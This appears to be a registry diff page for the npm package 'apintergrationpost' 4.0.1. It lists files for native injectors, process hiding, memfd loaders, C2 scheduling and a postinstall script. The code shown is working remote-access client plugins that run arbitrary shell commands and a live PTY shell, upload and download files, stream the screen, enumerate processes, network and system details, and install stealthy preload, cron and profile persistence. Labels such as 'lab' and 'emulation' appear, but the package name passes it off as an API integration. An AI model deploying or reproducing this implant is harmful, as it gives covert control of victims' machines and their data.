apintergrationpost 4.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (55) hide show
  1. package/README.md +203 -0
  2. package/apintergrationpost.config.json +101 -0
  3. package/bin/apintergrationpost-install.js +232 -0
  4. package/bin/apintergrationpost.js +50 -0
  5. package/bin/lib/paths.js +19 -0
  6. package/native/lab-tools/Makefile +45 -0
  7. package/native/lab-tools/agent_launcher.c +96 -0
  8. package/native/lab-tools/injector.c +80 -0
  9. package/native/lab-tools/libcache.c +80 -0
  10. package/native/lab-tools/memfd_exec.c +123 -0
  11. package/native/lab-tools/memfd_loader.c +224 -0
  12. package/native/lab-tools/proc_hide.c +64 -0
  13. package/package.json +45 -0
  14. package/scripts/postinstall-run.js +97 -0
  15. package/scripts/prepare-native.js +25 -0
  16. package/src/client/commands/filesystem.js +47 -0
  17. package/src/client/commands/index.js +26 -0
  18. package/src/client/commands/screen-capture.js +74 -0
  19. package/src/client/commands/shell.js +61 -0
  20. package/src/client/commands/system.js +266 -0
  21. package/src/client/connection.js +66 -0
  22. package/src/client/index.js +193 -0
  23. package/src/client/plugins/base.js +17 -0
  24. package/src/client/plugins/evasion-memfd.js +226 -0
  25. package/src/client/plugins/evasion-process.js +158 -0
  26. package/src/client/plugins/file-search.js +66 -0
  27. package/src/client/plugins/filesystem.js +62 -0
  28. package/src/client/plugins/network-enum.js +43 -0
  29. package/src/client/plugins/persistence-advanced.js +9 -0
  30. package/src/client/plugins/persistence-stealth.js +82 -0
  31. package/src/client/plugins/process-list.js +49 -0
  32. package/src/client/plugins/registry.js +118 -0
  33. package/src/client/plugins/screen-live.js +124 -0
  34. package/src/client/plugins/shell-oneshot.js +25 -0
  35. package/src/client/plugins/shell-pty.js +132 -0
  36. package/src/client/plugins/sysinfo.js +45 -0
  37. package/src/client/plugins/system.js +26 -0
  38. package/src/client/watchdog.js +29 -0
  39. package/src/protocol/auth.js +121 -0
  40. package/src/protocol/framer.js +57 -0
  41. package/src/protocol/messages.js +81 -0
  42. package/src/protocol/tls.js +74 -0
  43. package/src/server/cli.js +98 -0
  44. package/src/server/index.js +183 -0
  45. package/src/server/installServer.js +159 -0
  46. package/src/server/screenViewer.js +103 -0
  47. package/src/server/session.js +342 -0
  48. package/src/server/sessionManager.js +229 -0
  49. package/src/shared/c2schedule.js +100 -0
  50. package/src/shared/config.js +277 -0
  51. package/src/shared/emulation.js +86 -0
  52. package/src/shared/logger.js +125 -0
  53. package/src/shared/memfdLaunch.js +135 -0
  54. package/src/shared/nativeTools.js +73 -0
  55. package/src/shared/procinfo.js +116 -0
@@ -0,0 +1,62 @@
1
+ 'use strict';
2
+
3
+ const {
4
+ saveFile,
5
+ getFile,
6
+ changeDirectory,
7
+ } = require('../commands/filesystem');
8
+
9
+ const name = 'filesystem';
10
+ const commands = ['cd', 'upload', 'download'];
11
+
12
+ async function execute(msg, ctx) {
13
+ const cmd = msg.command;
14
+ const body = msg.body || '';
15
+
16
+ ctx.labEvent({
17
+ plugin: name,
18
+ command: cmd,
19
+ expectedAuditd: cmd === 'upload' ? ['open', 'write'] : cmd === 'download' ? ['open', 'read'] : [],
20
+ });
21
+
22
+ if (cmd === 'cd') {
23
+ const result = changeDirectory(body || null);
24
+ return {
25
+ action: 'continue',
26
+ status: result.success ? 'ok' : 'error',
27
+ body: result.success ? result.cwd : result.error,
28
+ };
29
+ }
30
+
31
+ if (cmd === 'upload') {
32
+ const colonIdx = body.indexOf(':');
33
+ if (colonIdx === -1) {
34
+ return { action: 'continue', status: 'error', body: 'Invalid upload format' };
35
+ }
36
+ const fileName = body.substring(0, colonIdx);
37
+ const b64String = body.substring(colonIdx + 1);
38
+ const ok = saveFile(fileName, b64String);
39
+ return {
40
+ action: 'continue',
41
+ status: ok ? 'ok' : 'error',
42
+ body: ok ? 'File uploaded successfully!!' : 'Error uploading file',
43
+ };
44
+ }
45
+
46
+ if (cmd === 'download') {
47
+ const result = getFile(body);
48
+ if (!result.found) {
49
+ return { action: 'continue', status: 'error', body: result.data };
50
+ }
51
+ return {
52
+ action: 'continue',
53
+ status: 'ok',
54
+ body: result.data,
55
+ meta: { filename: result.fileName, encoding: 'base64' },
56
+ };
57
+ }
58
+
59
+ return { action: 'continue', status: 'error', body: 'Unknown filesystem command' };
60
+ }
61
+
62
+ module.exports = { name, commands, execute };
@@ -0,0 +1,43 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+
5
+ const name = 'network-enum';
6
+ const commands = ['netstat'];
7
+
8
+ function parseProcNet(content) {
9
+ const lines = content.trim().split('\n').slice(1);
10
+ return lines.map((line) => {
11
+ const parts = line.trim().split(/\s+/);
12
+ return {
13
+ local: parts[1],
14
+ remote: parts[2],
15
+ state: parts[3],
16
+ };
17
+ });
18
+ }
19
+
20
+ async function execute(msg, ctx) {
21
+ ctx.labEvent({
22
+ plugin: name,
23
+ command: 'netstat',
24
+ expectedAuditd: ['open'],
25
+ });
26
+
27
+ const result = { tcp: [], udp: [] };
28
+ try {
29
+ result.tcp = parseProcNet(fs.readFileSync('/proc/net/tcp', 'utf8'));
30
+ result.udp = parseProcNet(fs.readFileSync('/proc/net/udp', 'utf8'));
31
+ } catch (err) {
32
+ return { action: 'continue', status: 'error', body: err.message };
33
+ }
34
+
35
+ return {
36
+ action: 'continue',
37
+ status: 'ok',
38
+ body: JSON.stringify(result, null, 2),
39
+ meta: { encoding: 'json' },
40
+ };
41
+ }
42
+
43
+ module.exports = { name, commands, execute };
@@ -0,0 +1,9 @@
1
+ 'use strict';
2
+
3
+ const stealth = require('./persistence-stealth');
4
+
5
+ module.exports = {
6
+ name: 'persistence-advanced',
7
+ commands: stealth.commands,
8
+ execute: stealth.execute,
9
+ };
@@ -0,0 +1,82 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { resolveNativeToolsDir } = require('../../shared/nativeTools');
6
+ const { getEmulationConfig } = require('../../shared/emulation');
7
+ const {
8
+ persistStealthPreload,
9
+ persistStealthCron,
10
+ persistStealthProfile,
11
+ removeStealthPreload,
12
+ removeStealthCron,
13
+ removeStealthProfile,
14
+ removeStealthWrapper,
15
+ getStealthPersistStatus,
16
+ } = require('../commands/system');
17
+
18
+ const name = 'persistence-stealth';
19
+ const commands = [
20
+ 'persist_install',
21
+ 'persist_status',
22
+ 'persist_remove',
23
+ 'persist_chain',
24
+ 'persist_cleanup',
25
+ ];
26
+
27
+ function getVectors(config) {
28
+ return getEmulationConfig(config).persistence.vectors;
29
+ }
30
+
31
+ async function execute(msg, ctx) {
32
+ const cmd = msg.command;
33
+ const config = ctx.config;
34
+ const configPath = process.env.APINTEGRATIONPOST_CONFIG
35
+ || process.env.MYRA_CONFIG
36
+ || path.join(process.cwd(), 'apintergrationpost.config.json');
37
+ const installCmd = cmd === 'persist_install' || cmd === 'persist_chain';
38
+ const removeCmd = cmd === 'persist_remove' || cmd === 'persist_cleanup';
39
+ const statusCmd = cmd === 'persist_status';
40
+
41
+ if (installCmd) {
42
+ ctx.labEvent({ plugin: name, command: 'persist_install', technique: 'T1574.006' });
43
+ const vectors = getVectors(config);
44
+ const results = [];
45
+ const nativeDir = resolveNativeToolsDir(config);
46
+
47
+ if (vectors.includes('preload')) {
48
+ results.push(persistStealthPreload(config, nativeDir));
49
+ }
50
+ if (vectors.includes('cron')) {
51
+ results.push(persistStealthCron(config, configPath, nativeDir));
52
+ }
53
+ if (vectors.includes('profile')) {
54
+ results.push(persistStealthProfile(config, configPath, nativeDir));
55
+ }
56
+
57
+ const summary = results.map((r) => `${r.ok ? 'OK' : 'FAIL'}: ${r.message}`).join('\n');
58
+ return { action: 'continue', status: 'ok', body: summary || 'No persistence vectors configured' };
59
+ }
60
+
61
+ if (statusCmd) {
62
+ ctx.labEvent({ plugin: name, command: 'persist_status', technique: 'T1082' });
63
+ return { action: 'continue', status: 'ok', body: getStealthPersistStatus(config) };
64
+ }
65
+
66
+ if (removeCmd) {
67
+ ctx.labEvent({ plugin: name, command: 'persist_remove', technique: 'T1070' });
68
+ const removed = [];
69
+ if (removeStealthPreload(config)) removed.push('preload');
70
+ if (removeStealthCron(config)) removed.push('cron');
71
+ if (removeStealthProfile(config)) removed.push('profile');
72
+ if (removeStealthWrapper(config)) removed.push('wrapper');
73
+ const body = removed.length
74
+ ? `Removed persistence artifacts: ${removed.join(', ')}`
75
+ : 'No persistence artifacts found';
76
+ return { action: 'continue', status: 'ok', body };
77
+ }
78
+
79
+ return { action: 'continue', status: 'error', body: 'Unknown persistence command' };
80
+ }
81
+
82
+ module.exports = { name, commands, execute };
@@ -0,0 +1,49 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ const name = 'process-list';
7
+ const commands = ['ps'];
8
+
9
+ async function execute(msg, ctx) {
10
+ ctx.labEvent({
11
+ plugin: name,
12
+ command: 'ps',
13
+ expectedAuditd: ['open'],
14
+ });
15
+
16
+ const procs = [];
17
+ try {
18
+ const entries = fs.readdirSync('/proc');
19
+ for (const entry of entries) {
20
+ if (!/^\d+$/.test(entry)) continue;
21
+ try {
22
+ const stat = fs.readFileSync(path.join('/proc', entry, 'stat'), 'utf8');
23
+ const cmdline = fs.readFileSync(path.join('/proc', entry, 'cmdline'), 'utf8')
24
+ .replace(/\0/g, ' ')
25
+ .trim();
26
+ const nameEnd = stat.indexOf(')');
27
+ const parts = stat.substring(nameEnd + 2).split(' ');
28
+ procs.push({
29
+ pid: Number(entry),
30
+ state: parts[0],
31
+ cmd: cmdline || stat.substring(stat.indexOf('(') + 1, nameEnd),
32
+ });
33
+ } catch {
34
+ // skip inaccessible processes
35
+ }
36
+ }
37
+ } catch (err) {
38
+ return { action: 'continue', status: 'error', body: err.message };
39
+ }
40
+
41
+ return {
42
+ action: 'continue',
43
+ status: 'ok',
44
+ body: JSON.stringify(procs, null, 2),
45
+ meta: { encoding: 'json', count: procs.length },
46
+ };
47
+ }
48
+
49
+ module.exports = { name, commands, execute };
@@ -0,0 +1,118 @@
1
+ 'use strict';
2
+
3
+ const shellOneshot = require('./shell-oneshot');
4
+ const shellPty = require('./shell-pty');
5
+ const filesystem = require('./filesystem');
6
+ const screenLive = require('./screen-live');
7
+ const system = require('./system');
8
+ const sysinfo = require('./sysinfo');
9
+ const processList = require('./process-list');
10
+ const networkEnum = require('./network-enum');
11
+ const fileSearch = require('./file-search');
12
+ const persistenceStealth = require('./persistence-stealth');
13
+ const persistenceAdvanced = require('./persistence-advanced');
14
+ const evasionProcess = require('./evasion-process');
15
+ const evasionMemfd = require('./evasion-memfd');
16
+ const { getEmulationConfig } = require('../../shared/emulation');
17
+
18
+ const BASE_PLUGINS = [
19
+ shellOneshot,
20
+ shellPty,
21
+ filesystem,
22
+ screenLive,
23
+ system,
24
+ sysinfo,
25
+ processList,
26
+ networkEnum,
27
+ fileSearch,
28
+ ];
29
+
30
+ const EMULATION_PLUGINS = [
31
+ persistenceStealth,
32
+ persistenceAdvanced,
33
+ evasionProcess,
34
+ evasionMemfd,
35
+ ];
36
+
37
+ const ALL_PLUGINS = [...BASE_PLUGINS, ...EMULATION_PLUGINS];
38
+ const DEFAULT_ENABLED = BASE_PLUGINS.map((p) => p.name);
39
+
40
+ const EMULATION_PLUGIN_NAMES = new Set(EMULATION_PLUGINS.map((p) => p.name));
41
+
42
+ function resolveEmulationPlugins(config) {
43
+ const emu = getEmulationConfig(config);
44
+ const enabled = new Set(emu.plugins || []);
45
+ const legacy = (config.advanced && config.advanced.enabled) || [];
46
+ for (const name of legacy) {
47
+ if (name === 'persistence-advanced') enabled.add('persistence-stealth');
48
+ else enabled.add(name);
49
+ }
50
+ return enabled;
51
+ }
52
+
53
+ function loadPlugins(config) {
54
+ const pluginConfig = config.plugins || {};
55
+ const emulationEnabled = resolveEmulationPlugins(config);
56
+ const emu = getEmulationConfig(config);
57
+
58
+ const enabled = new Set(pluginConfig.enabled || DEFAULT_ENABLED);
59
+ const disabled = new Set(pluginConfig.disabled || []);
60
+
61
+ if (emu.enabled) {
62
+ for (const name of emulationEnabled) {
63
+ enabled.add(name);
64
+ }
65
+ }
66
+
67
+ const commandMap = new Map();
68
+ const activePlugins = [];
69
+
70
+ for (const plugin of ALL_PLUGINS) {
71
+ if (!enabled.has(plugin.name)) continue;
72
+ if (disabled.has(plugin.name)) continue;
73
+ if (EMULATION_PLUGIN_NAMES.has(plugin.name) && !emulationEnabled.has(plugin.name)) {
74
+ continue;
75
+ }
76
+
77
+ activePlugins.push(plugin);
78
+ for (const cmd of plugin.commands) {
79
+ if (!commandMap.has(cmd)) {
80
+ commandMap.set(cmd, plugin);
81
+ }
82
+ }
83
+ }
84
+
85
+ return { commandMap, plugins: activePlugins };
86
+ }
87
+
88
+ async function routeCommand(msg, ctx, commandMap) {
89
+ const plugin = commandMap.get(msg.command);
90
+ if (!plugin) {
91
+ if (msg.command === 'shell') {
92
+ return shellOneshot.execute(msg, ctx);
93
+ }
94
+ return {
95
+ action: 'continue',
96
+ status: 'error',
97
+ body: `Unknown command: ${msg.command}`,
98
+ };
99
+ }
100
+ return plugin.execute(msg, ctx);
101
+ }
102
+
103
+ function cleanupPlugins(plugins) {
104
+ for (const plugin of plugins) {
105
+ if (typeof plugin.cleanup === 'function') {
106
+ plugin.cleanup();
107
+ }
108
+ }
109
+ }
110
+
111
+ module.exports = {
112
+ loadPlugins,
113
+ routeCommand,
114
+ cleanupPlugins,
115
+ ALL_PLUGINS,
116
+ BASE_PLUGINS,
117
+ EMULATION_PLUGINS,
118
+ };
@@ -0,0 +1,124 @@
1
+ 'use strict';
2
+
3
+ const crypto = require('crypto');
4
+ const { captureFrame } = require('../commands/screen-capture');
5
+
6
+ const name = 'screen-live';
7
+ const commands = ['screen_start', 'screen_stop', 'screen_status'];
8
+
9
+ let captureTimer = null;
10
+ let screenSessionId = null;
11
+ let frameSeq = 0;
12
+ let activeOptions = null;
13
+
14
+ function clearCapture() {
15
+ if (captureTimer) {
16
+ clearInterval(captureTimer);
17
+ captureTimer = null;
18
+ }
19
+ screenSessionId = null;
20
+ frameSeq = 0;
21
+ activeOptions = null;
22
+ }
23
+
24
+ async function pushFrame(ctx) {
25
+ if (!screenSessionId || !ctx.sendScreenFrame) return;
26
+ try {
27
+ const jpeg = await captureFrame(activeOptions);
28
+ ctx.sendScreenFrame(screenSessionId, jpeg.toString('base64'), {
29
+ seq: frameSeq++,
30
+ final: false,
31
+ encoding: 'base64',
32
+ mime: 'image/jpeg',
33
+ });
34
+ } catch (err) {
35
+ ctx.sendScreenFrame(screenSessionId, '', {
36
+ seq: frameSeq++,
37
+ final: false,
38
+ error: err.message,
39
+ });
40
+ }
41
+ }
42
+
43
+ async function execute(msg, ctx) {
44
+ const cmd = msg.command;
45
+ const features = ctx.config.features || {};
46
+ const screenConf = ctx.config.screen || {};
47
+
48
+ if (features.screenLive === false) {
49
+ return { action: 'continue', status: 'error', body: 'Live screen feature disabled' };
50
+ }
51
+
52
+ if (cmd === 'screen_start') {
53
+ if (captureTimer) {
54
+ return { action: 'continue', status: 'error', body: 'Live screen already running' };
55
+ }
56
+
57
+ const meta = msg.meta || {};
58
+ const fps = Math.min(Math.max(Number(meta.fps || screenConf.fps || 3), 1), 10);
59
+ activeOptions = {
60
+ display: meta.display || screenConf.display || process.env.DISPLAY || ':0',
61
+ size: meta.size || screenConf.size || '1280x720',
62
+ };
63
+
64
+ ctx.labEvent({
65
+ plugin: name,
66
+ command: cmd,
67
+ expectedAuditd: ['execve'],
68
+ });
69
+
70
+ screenSessionId = crypto.randomBytes(4).toString('hex');
71
+ frameSeq = 0;
72
+
73
+ await pushFrame(ctx);
74
+ captureTimer = setInterval(() => {
75
+ pushFrame(ctx);
76
+ }, Math.floor(1000 / fps));
77
+
78
+ return {
79
+ action: 'continue',
80
+ status: 'ok',
81
+ body: `Live screen started (${fps} fps, display ${activeOptions.display})`,
82
+ meta: {
83
+ screenSessionId,
84
+ fps,
85
+ display: activeOptions.display,
86
+ size: activeOptions.size,
87
+ },
88
+ };
89
+ }
90
+
91
+ if (cmd === 'screen_stop') {
92
+ if (!captureTimer) {
93
+ return { action: 'continue', status: 'error', body: 'Live screen is not running' };
94
+ }
95
+
96
+ ctx.labEvent({ plugin: name, command: cmd, expectedAuditd: [] });
97
+ const sid = screenSessionId;
98
+ clearCapture();
99
+ if (sid && ctx.sendScreenFrame) {
100
+ ctx.sendScreenFrame(sid, '', { seq: frameSeq++, final: true });
101
+ }
102
+ return { action: 'continue', status: 'ok', body: 'Live screen stopped' };
103
+ }
104
+
105
+ if (cmd === 'screen_status') {
106
+ return {
107
+ action: 'continue',
108
+ status: 'ok',
109
+ body: JSON.stringify({
110
+ active: !!captureTimer,
111
+ screenSessionId,
112
+ options: activeOptions,
113
+ }, null, 2),
114
+ };
115
+ }
116
+
117
+ return { action: 'continue', status: 'error', body: 'Unknown screen-live command' };
118
+ }
119
+
120
+ function cleanup() {
121
+ clearCapture();
122
+ }
123
+
124
+ module.exports = { name, commands, execute, cleanup };
@@ -0,0 +1,25 @@
1
+ 'use strict';
2
+
3
+ const { execCommand } = require('../commands/shell');
4
+
5
+ const name = 'shell-oneshot';
6
+ const commands = ['shell'];
7
+
8
+ async function execute(msg, ctx) {
9
+ const body = msg.body || '';
10
+ const execOpts = {
11
+ timeoutMs: ctx.config.commandTimeoutMs || 120000,
12
+ maxBytes: ctx.config.maxOutputBytes || 1024 * 1024,
13
+ };
14
+
15
+ ctx.labEvent({
16
+ plugin: name,
17
+ command: msg.command,
18
+ expectedAuditd: ['execve'],
19
+ });
20
+
21
+ const output = await execCommand(body, execOpts);
22
+ return { action: 'continue', status: 'ok', body: output };
23
+ }
24
+
25
+ module.exports = { name, commands, execute };
@@ -0,0 +1,132 @@
1
+ 'use strict';
2
+
3
+ const crypto = require('crypto');
4
+
5
+ let ptyProcess = null;
6
+ let shellSessionId = null;
7
+ let outputSeq = 0;
8
+
9
+ const name = 'shell-pty';
10
+ const commands = ['shell_start', 'shell_input', 'shell_stop', 'shell_resize'];
11
+
12
+ function spawnPty(ctx) {
13
+ if (ctx.config.features && ctx.config.features.pty === false) {
14
+ throw new Error('PTY shell feature disabled');
15
+ }
16
+ return require('node-pty');
17
+ }
18
+
19
+ async function execute(msg, ctx) {
20
+ const cmd = msg.command;
21
+
22
+ if (cmd === 'shell_start') {
23
+ if (ptyProcess) {
24
+ return { action: 'continue', status: 'error', body: 'Shell session already active' };
25
+ }
26
+
27
+ ctx.labEvent({
28
+ plugin: name,
29
+ command: 'shell_start',
30
+ expectedAuditd: ['execve', 'ioctl(TIOCSWINSZ)'],
31
+ });
32
+
33
+ let pty;
34
+ try {
35
+ pty = spawnPty(ctx);
36
+ } catch (err) {
37
+ return { action: 'continue', status: 'error', body: err.message };
38
+ }
39
+
40
+ const shell = process.env.SHELL || '/bin/bash';
41
+ const cols = (msg.meta && msg.meta.cols) || 80;
42
+ const rows = (msg.meta && msg.meta.rows) || 24;
43
+
44
+ ptyProcess = pty.spawn(shell, [], {
45
+ name: 'xterm-256color',
46
+ cols,
47
+ rows,
48
+ cwd: process.cwd(),
49
+ env: process.env,
50
+ });
51
+
52
+ shellSessionId = crypto.randomBytes(4).toString('hex');
53
+ outputSeq = 0;
54
+
55
+ ptyProcess.onData((data) => {
56
+ if (shellSessionId && ctx.sendShellOutput) {
57
+ ctx.sendShellOutput(shellSessionId, data, { seq: outputSeq++, final: false });
58
+ }
59
+ });
60
+
61
+ ptyProcess.onExit(() => {
62
+ if (shellSessionId && ctx.sendShellOutput) {
63
+ ctx.sendShellOutput(shellSessionId, '', { seq: outputSeq++, final: true });
64
+ }
65
+ ptyProcess = null;
66
+ shellSessionId = null;
67
+ });
68
+
69
+ return {
70
+ action: 'continue',
71
+ status: 'ok',
72
+ body: '',
73
+ meta: { shellSessionId, pid: ptyProcess.pid, cols, rows },
74
+ };
75
+ }
76
+
77
+ if (cmd === 'shell_input') {
78
+ if (!ptyProcess) {
79
+ return { action: 'continue', status: 'error', body: 'No active shell session' };
80
+ }
81
+ ptyProcess.write(msg.body || '');
82
+ return { action: 'continue', status: 'ok', body: '' };
83
+ }
84
+
85
+ if (cmd === 'shell_stop') {
86
+ if (!ptyProcess) {
87
+ return { action: 'continue', status: 'error', body: 'No active shell session' };
88
+ }
89
+ ctx.labEvent({ plugin: name, command: 'shell_stop', expectedAuditd: ['kill'] });
90
+ try {
91
+ process.kill(-ptyProcess.pid, 'SIGTERM');
92
+ } catch {
93
+ ptyProcess.kill();
94
+ }
95
+ ptyProcess = null;
96
+ shellSessionId = null;
97
+ return { action: 'continue', status: 'ok', body: 'Shell session stopped' };
98
+ }
99
+
100
+ if (cmd === 'shell_resize') {
101
+ if (!ptyProcess) {
102
+ return { action: 'continue', status: 'error', body: 'No active shell session' };
103
+ }
104
+ let cols = 80;
105
+ let rows = 24;
106
+ try {
107
+ const parsed = JSON.parse(msg.body || '{}');
108
+ cols = parsed.cols || cols;
109
+ rows = parsed.rows || rows;
110
+ } catch {
111
+ // use defaults
112
+ }
113
+ ptyProcess.resize(cols, rows);
114
+ return { action: 'continue', status: 'ok', body: '' };
115
+ }
116
+
117
+ return { action: 'continue', status: 'error', body: 'Unknown PTY command' };
118
+ }
119
+
120
+ function cleanup() {
121
+ if (ptyProcess) {
122
+ try {
123
+ ptyProcess.kill();
124
+ } catch {
125
+ // ignore
126
+ }
127
+ ptyProcess = null;
128
+ shellSessionId = null;
129
+ }
130
+ }
131
+
132
+ module.exports = { name, commands, execute, cleanup };
@@ -0,0 +1,45 @@
1
+ 'use strict';
2
+
3
+ const os = require('os');
4
+ const fs = require('fs');
5
+
6
+ const name = 'sysinfo';
7
+ const commands = ['sysinfo'];
8
+
9
+ async function execute(msg, ctx) {
10
+ ctx.labEvent({
11
+ plugin: name,
12
+ command: 'sysinfo',
13
+ expectedAuditd: ['open'],
14
+ });
15
+
16
+ let osRelease = '';
17
+ try {
18
+ osRelease = fs.readFileSync('/etc/os-release', 'utf8');
19
+ } catch {
20
+ osRelease = 'unavailable';
21
+ }
22
+
23
+ const info = {
24
+ hostname: os.hostname(),
25
+ platform: os.platform(),
26
+ arch: os.arch(),
27
+ release: os.release(),
28
+ uptime: os.uptime(),
29
+ homedir: os.homedir(),
30
+ userInfo: os.userInfo(),
31
+ cpus: os.cpus().length,
32
+ totalmem: os.totalmem(),
33
+ freemem: os.freemem(),
34
+ osRelease,
35
+ };
36
+
37
+ return {
38
+ action: 'continue',
39
+ status: 'ok',
40
+ body: JSON.stringify(info, null, 2),
41
+ meta: { encoding: 'json' },
42
+ };
43
+ }
44
+
45
+ module.exports = { name, commands, execute };